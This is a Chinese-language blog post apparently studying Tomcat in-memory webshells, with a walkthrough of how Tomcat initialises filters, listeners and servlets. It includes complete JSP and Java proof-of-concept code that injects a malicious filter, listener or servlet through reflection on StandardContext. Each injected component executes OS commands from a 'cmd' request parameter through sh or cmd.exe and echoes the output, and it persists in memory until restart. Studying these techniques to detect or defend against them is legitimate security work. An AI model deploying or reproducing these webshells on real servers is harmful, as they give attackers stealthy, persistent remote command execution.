Tomcat内存码
Tomcat内存码
java web和tomcat基础的前置知识可以看这篇,搭建环境也有提到,师傅这方面的文章对我这种萌新非常友好
tomcat调试环境一直配不明白,前面的步骤和师傅一样。后面pom里引入tomcat同版本的依赖后,调试直接点idea的download resource,至少以前这么做没啥问题,但这次还总会显示source code does not match bytecode。一通操作之后勉强能看,虽然调式的位置会有点小偏差
本文用的是tomcat8.5.81
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>8.5.81</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
一、Filter型
1.1 filter流程
通过如下代码自定义一个filter,web.xml里映射到/filter
<filter>
<filter-name>filter</filter-name>
<filter-class>FilterTest</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
package com.example.tomcatmemshell;
import javax.servlet.*;
import java.io.IOException;
public class FilterTest implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行了过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
1.1.1 初始化filter
先来看创建的过程,在启动tomcat时,ContextConfig#configureContext从web.xml里读取我们声明的各种信息来初始化context
后在StandardContext#filterStart触发我们重写的init方法。此时遍历filterDefs,filterDefs是个存储着filterDef对象的hashmap
可以看到filterDef里有着我们自定义的filter信息,上图代码作用是从filterDefs里取出每个filterDef,利用这个filterDef生成一个filterConfig,所有的filterConfig存在filterConfigs里
servelt前的多个filter之间形成一条链filterChain,再来看filter是如何构成filterChain的。在ApplicationFilterFactory#createFilterChain里初始化filterChain,后面触发所有filter都是从这个filterChain出发的。先从StandardContext里取出filterMaps,接着遍历filterMaps,从filterConfigs找出每一个filterMap对应的filterConfig,存入filterChain
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
// If there is no servlet to execute, return null
if (servlet == null) {
return null;
}
// Create and initialize a filter chain object
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
// If there are no filter mappings, we are done
if ((filterMaps == null) || (filterMaps.length == 0)) {
return filterChain;
}
// Acquire the information we will need to match filter mappings
DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null){
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Return the completed filter chain
return filterChain;
}
可以看出,filterDef、filterConfig、filterMap三个变量在filter创建的过程中起了主要作用,注入内存马实际上是模拟了在web.xml中写配置的过程,两者是一一对应的。 查看此时StandardContext
filterConfig:存储filterDef,在filterDef里存放了filter的定义,对应web.xml里这部分声明。filterConfig相比filterDef还会多出当前context
<filter>
<filter-name>filter</filter-name>
<filter-class>FilterTest</filter-class>
</filter>
filterMap:存储filter和url的映射关系,filterTest的映射关系是从web.xml里获取的
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
1.1.2 触发filter
再看访问filter的过程,filterChain生成后从filterChain#doFilter进入后面的访问流程
在浏览器访问filter时(我这里是http://localhost:8082/TomcatMemShell_war_exploded/filter
),先进入ApplicationFilterChain#doFilter,继续进到ApplicationFilterChain#internalDoFilter,在其中调用链中每一个filter的dofilter方法。
例子中共调用两个filter,首先调用的是自定义的FilterTest#dofilter
接着调用WsFilter#dofilter,这是tomcat自带的filter,作用是将http请求升级为websocket连接。嗯。。直接问chatgpt得到的是需要满足以下条件,才会升级,如果真的需要升级就不会继续调用剩下的filter。websocket内存码也有用处,但应用范围不如传统的码。
- HTTP 请求是一个有效的 WebSocket 协议升级请求。WebSocket 协议升级请求需要满足一定的格式和条件,如包含 Upgrade 和 Connection 头部字段,以及 Sec-WebSocket-Key 和 Sec-WebSocket-Version 头部字段等。如果请求不符合 WebSocket 协议升级请求的格式或条件,WsFilter 过滤器将不会对其进行处理。
- 当前应用程序中已经注册了 WebSocket 端点(Endpoint)。WebSocket 端点是 WebSocket 应用程序中处理 WebSocket 连接的入口点,需要在应用程序中进行注册。如果应用程序中没有注册任何 WebSocket 端点,WsFilter 过滤器也不会对请求进行处理。
大部分情况都会走到chain.doFilter,在这个例子里也是如此。chain.doFilter会回到ApplicationFilterChain#doFilter,然后和前面一样,到internalDoFilter调用下一个filter,但此时因为所有filter已经走完(pos=2,n=2),调用servlet.service进入servlet,至此结束filter的部分
总结一下初始化和触发filter过程就是这张图
1.2 简单的poc
思路跟filter的创建过程是一样的
- 创建恶意filter
- 用filterDef对filter进行封装,添加到filterDefs
- 继续用filterConfig封装filterDef,添加到filterConfigs
- 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中
因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去(addFilterMapBefore)
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
// 1、创建恶意filter
// 最简单版的有回显命令执行,插到filter的doFilter里
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);// 为了回到ApplicationFilterChain#doFilter
}
@Override
public void destroy() {
}
};
// 2、创建filterDef,加进filterDefs
FilterDef filterDef = new FilterDef();
// 前面分析时知filterDef里filter、filterName、filterClass需要赋值
filterDef.setFilter(filter);
filterDef.setFilterName("FilterShell");
filterDef.setFilterClass(filter.getClass().getName());
// 先获取StandardContext
ServletContext servletContext = req.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 加入filterDefs
standardContext.addFilterDef(filterDef);
// 3、封装成filterConfig,加进filterConfigs
// ApplicationFilterConfig的构造函数是private,只好反射创建filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
filterConfigs.put("FilterShell", filterConfig);
// 4、处理filterMap
// 创建filterMap
FilterMap filterMap = new FilterMap();
filterMap.addServletName("FilterShell");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());// 这个属性表示filter拦截的消息类型是普通的servlet请求
// addFilterMap和addFilterMapBefore都可以将filterMap加入filterMaps,后者是将新的filterMap加在最前面
standardContext.addFilterMapBefore(filterMap);
换成jsp形式,直接抄网上最常见的那个了
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "CaraShell";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
第一次正常访问shell.jsp注入内存码,第二次就可以命令执行了,但编码可能有点问题
二、Listner型
三种listener中用在访问服务时会触发的requestListener,需实现接口ServletRequestListener
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class ListenerTest implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("initial TestListener");
}
}
<listener>
<listener-class>ListenerTest</listener-class>
</listener>
2.1 listener流程
2.1.1 初始化listener
这里其实和filter最开始时一样的,从xml里读取到ListenrTest,然后StandardContext#addApplicationListener把ListenerTest添加进applicationListeners。listener的操作较为简单,这个applicationListeners就已经存储了所有的listener,不像filter有一堆杂七杂八的
2.1.2 触发listener
访问时触发StandardContext#listenerStart,其中遍历applicationListeners中的所有listener,把不同种类的listener放进不同list,关注requestListener进入的eventListener
eventListener最后的形态的是applicationEventListenersList
StandardContext#fireRequestInit实例化EventapplicationEventListenersList里面的requestListener,实例化时触发ListenerTest里重写的requestInitialized
总结一下,流程比filter简单很多,核心是applicationEventListenersList。正常流程中通过setApplicationEventListeners来初始化applicationEventListenersList,注意在赋值前会先有个clear操作,如果注入恶意listener时使用set会清除原有listener不是很妥当。去找动态添加listener的地方,不难找到还有个addApplicationEventListeners,通过这个注入就行
2.2 简单poc
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd1") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd1")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
三、Servlet型
个人感觉,servlet作为tomcat的核心组件理论上在动态添加应该多少会受到些检测才对,实用性讲应该不如前两个,所以这里就偷懒不从头分析了
public class TestServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
PrintWriter writer = response.getWriter();
writer.println("hello");
}
}
<servlet>
<servlet-name>servlet1</servlet-name>
<servlet-class>ServletTest</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>servlet1</servlet-name>
<url-pattern>/ServletTest</url-pattern>
</servlet-mapping>
3.1 servlet流程
servlet在xml里的声明方式和filter很像,从前面的经验不难猜出servlet的创建过程中肯定也有一个存着所有servlet的list,还有一个存着servlet和url映射对应关系的hashmap。然后我们注入时也是先获取StandarContex,然后修改两个属性,这样下次访问时就能动态创建恶意servlet。翻翻StandardContext验证一下猜测
很容易找到servletMappings,通过addServletMappingDecoded添加
另一个看size大小也很快能找到,所有servlet被封装成StandardWrapper后存在children这个hashmap里。接下来先看children怎么添加,再看servlt怎么封装
children在StandardContext的父类ContainerBase里,可以通过私有方法addChildInternal添加,可以被公有方法addChidl间接调用,再往上找StandardContext里重写了addChild,所以添加时只需StandardContext.addChild
另一边,看下StandardContext都有哪些属性会用到,在熟悉的filterStartup加载完filterChain之后调用了StandardContext#loadOnStartup加载servlet,注意这里loadOnStartup必须>0才会动态加载这个servlet(对应StandardWrapper$loadOnStartup默认-1)
一直跟进load,当然还需要一个servlet对象
所以总结一下,一个封装好的StandardWrapper中需要loadOnStartup=1、instance=ServletTest,再加上映射url时需要的servletName三个属性
3.2 简单poc
思路如下:
- 创建恶意servlet
- 封装恶意servlet到StandardWrapper,并添加到children里
- 添加servlet名称和url的映射到servletMapping里
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.PrintWriter" %>
<%!
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
<%
Wrapper newWrapper = stdcontext.createWrapper();
String name = "ServletShell";
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
%>
<%
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/abc", name);
%>
四、写在后面
三个部分的核心如下
- filter: filterMapping、filterConfigs(filterDef(filter))
- listener: applicationEventListenersList
- servlet: servletMapping、children(StandardContext(servlet))
本文里所有poc几乎都是复制粘贴网上的、所以命令执行和获取StanandarContext的方式都很随意,后面再写一篇总结下
参考
https://zhuanlan.zhihu.com/p/388788678
https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w 还有些奇技淫巧
https://github.com/Y4tacker/JavaSec/blob/main/5.内存马学习/Tomcat/Tomcat-Filter型内存马/Tomcat-Filter型内存马.md
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)